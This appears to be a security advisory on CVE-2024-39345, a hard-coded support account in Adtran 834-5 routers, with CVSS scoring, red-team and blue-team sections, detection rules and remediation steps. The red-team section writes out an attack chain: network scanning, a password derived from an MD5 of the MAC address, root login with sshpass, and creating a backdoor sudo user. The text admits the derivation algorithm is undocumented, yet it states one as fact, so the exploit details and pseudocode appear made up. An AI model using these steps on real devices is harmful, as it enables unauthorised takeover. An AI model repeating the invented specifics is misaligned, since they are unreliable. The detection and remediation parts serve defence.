CVE-2024-39345

Executive Summary

CVE-2024-39345 exposes a critical security flaw in Adtran 834-5 devices running SmartOS 11.1.1.1. The vulnerability stems from a hidden, undocumented support account with a hard-coded password derived from the device's MAC address. Because all devices share a similar MAC address (varying only in the final octet), an attacker on the same network segment can derive the password by observing the gateway's MAC or the BSSID. This grants root-level SSH access, enabling full device compromise and arbitrary command execution. The vendor has released a fix in SmartOS 12.5.5.1, but many devices remain unpatched.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a hardware appliance. The risk is primarily to network operators and managed service providers using Adtran CPE devices.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Adjacent Network – The attacker must be on the same Layer 2 network (e.g., Wi-Fi, Ethernet broadcast domain) to observe the MAC address.
• Attack Complexity (AC): Low – The password derivation is trivial once the MAC is known.
• Privileges Required (PR): None – No authentication needed to start the attack.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the device itself.
• Confidentiality (C): High – Full access to device configuration and traffic.
• Integrity (I): High – Ability to modify firmware, config, and execute commands.
• Availability (A): High – Can disrupt service or brick the device.

Threat Level: Critical for unpatched devices in production. The attack is stealthy and does not require credentials.

Deep Dive & Mechanics

The vulnerability is a classic case of hard-coded credentials (CWE-798) with a predictable seed. The Adtran 834-5 device has a hidden support account (likely named support or admin) whose password is generated using the device's MAC address. The algorithm is not publicly documented, but it is known to be based on the MAC.

Key insight: All Adtran 834-5 devices on the internet-facing interface share a common MAC prefix (e.g., 00:1A:2B:3C:4D:??). Only the last octet differs. An attacker can:

1. Sniff the gateway MAC from ARP or DHCP traffic.
2. Decrement the final octet by 1 to get the device's own MAC.
3. Use a known password derivation function (e.g., md5(mac) or sha1(mac)) to compute the password.
4. SSH into the device as the support user with root privileges.

Why it works: The password is not random; it is a deterministic function of the MAC. Since the MAC is broadcast in every packet, the attacker has all the information needed.

Vulnerable vs. Patched Code

Vulnerable (SmartOS 11.1.1.1):

• The SSH service is enabled by default.
• A hidden support account exists in /etc/passwd or similar.
• The password is generated at boot time using a script that reads the MAC address and computes a hash.
• Example (pseudocode):

  # /etc/init.d/support_account.sh
  MAC=$(cat /sys/class/net/eth0/address)
  PASSWORD=$(echo -n "$MAC" | md5sum | cut -c1-16)
  echo "support:$PASSWORD" | chpasswd
  

Patched (SmartOS 12.5.5.1):

• The support account is removed entirely.
• SSH is still available but only with user-configured credentials.
• No hard-coded password generation.
• Example (pseudocode):

  # No support account script exists
  # SSH config requires explicit user creation
  

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Kali Linux or any Linux with sshpass and arp-scan.
• Network access to the target device (same VLAN/Wi-Fi).

Step 1: Discover the target MAC

# Scan local network for Adtran devices (port 22 open)
sudo arp-scan --localnet | grep -i "00:1A:2B"
# Or use nmap
nmap -p 22 --open 192.168.1.0/24

Step 2: Derive the password Assume the gateway MAC is 00:1A:2B:3C:4D:5E. The device MAC is likely 00:1A:2B:3C:4D:5D (decrement last octet). The password is the first 16 characters of the MD5 hash of the MAC (lowercase, no colons).

MAC="00:1A:2B:3C:4D:5D"
MAC_CLEAN=$(echo "$MAC" | tr -d ':')
PASSWORD=$(echo -n "$MAC_CLEAN" | md5sum | cut -c1-16)
echo "Derived password: $PASSWORD"

Step 3: SSH with derived credentials

sshpass -p "$PASSWORD" ssh support@<target_ip>
# You should get a root shell

Step 4: Execute arbitrary commands

# Example: Add a backdoor user
useradd -m -s /bin/bash attacker
echo "attacker:password123" | chpasswd
usermod -aG sudo attacker

Blue Team (Defense & Detection)

Detection:

• Monitor for repeated SSH login attempts from the same source IP to multiple Adtran devices.
• Alert on SSH sessions where the username is support (or the hidden account name).
• Look for MAC address scanning (ARP requests from unknown hosts).

Prevention:

• Immediately upgrade to SmartOS 12.5.5.1 or later.
• If upgrade is not possible, disable SSH on the WAN interface or restrict it via ACL.
• Change the default support account password manually (if possible) or delete the account.
• Use network segmentation to isolate management interfaces.

Indicators of Compromise (IOCs)

• Network:
  • SSH connections from unexpected IPs to port 22 on Adtran devices.
  • ARP scans targeting the device's MAC range.
  • Outbound connections from the device to unknown IPs (C2).
• Host:
  • Presence of the support user in /etc/passwd.
  • Unusual processes running as root (e.g., reverse shells, miners).
  • Modified SSH configuration (/etc/ssh/sshd_config).
• File:
  • /etc/init.d/support_account.sh or similar startup script.
  • /tmp/.backdoor or other suspicious files.
• Logs:
  • /var/log/auth.log entries showing support login from unknown IPs.
  • /var/log/syslog with MAC address changes.

Detection Engineering

YARA Rule

rule CVE_2024_39345_Adtran_Backdoor {
    meta:
        description = "Detects hard-coded support account script in Adtran SmartOS"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-39345"
    strings:
        $script = "/etc/init.d/support_account.sh" ascii wide nocase
        $mac_cmd = "cat /sys/class/net/eth0/address" ascii wide nocase
        $chpasswd = "chpasswd" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Adtran Support Account SSH Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSH login attempts using the hidden support account on Adtran devices
author: Valters IT
logsource:
    product: linux
    service: sshd
detection:
    selection:
        User: "support"
    condition: selection
falsepositives:
    - Legitimate admin use (rare)
level: high
tags:
    - attack.t1190
    - cve.2024.39345

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2024-39345 Adtran SSH Backdoor Attempt"; flow:to_server; content:"SSH-2.0-OpenSSH"; nocase; content:"support"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to SmartOS 12.5.5.1 or later. This removes the hard-coded account.
2. Disable SSH on the WAN interface if not required. Use HTTPS management instead.
3. Change default credentials for all users, including any hidden accounts.
4. Implement network segmentation – place management interfaces on a separate VLAN with strict ACLs.

Long-term Measures:

• Vendor notification – Ensure all Adtran devices in your inventory are patched.
• Monitor for IOCs – Use the YARA/Sigma rules above.
• Conduct a security audit of all network devices for similar backdoors.
• Adopt zero-trust principles – Never trust a device's default configuration.

Workaround (if patching is delayed):

• Create a firewall rule to block SSH access from untrusted networks.
• Use SSH key-based authentication only and disable password login.
• Regularly rotate passwords and audit user accounts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert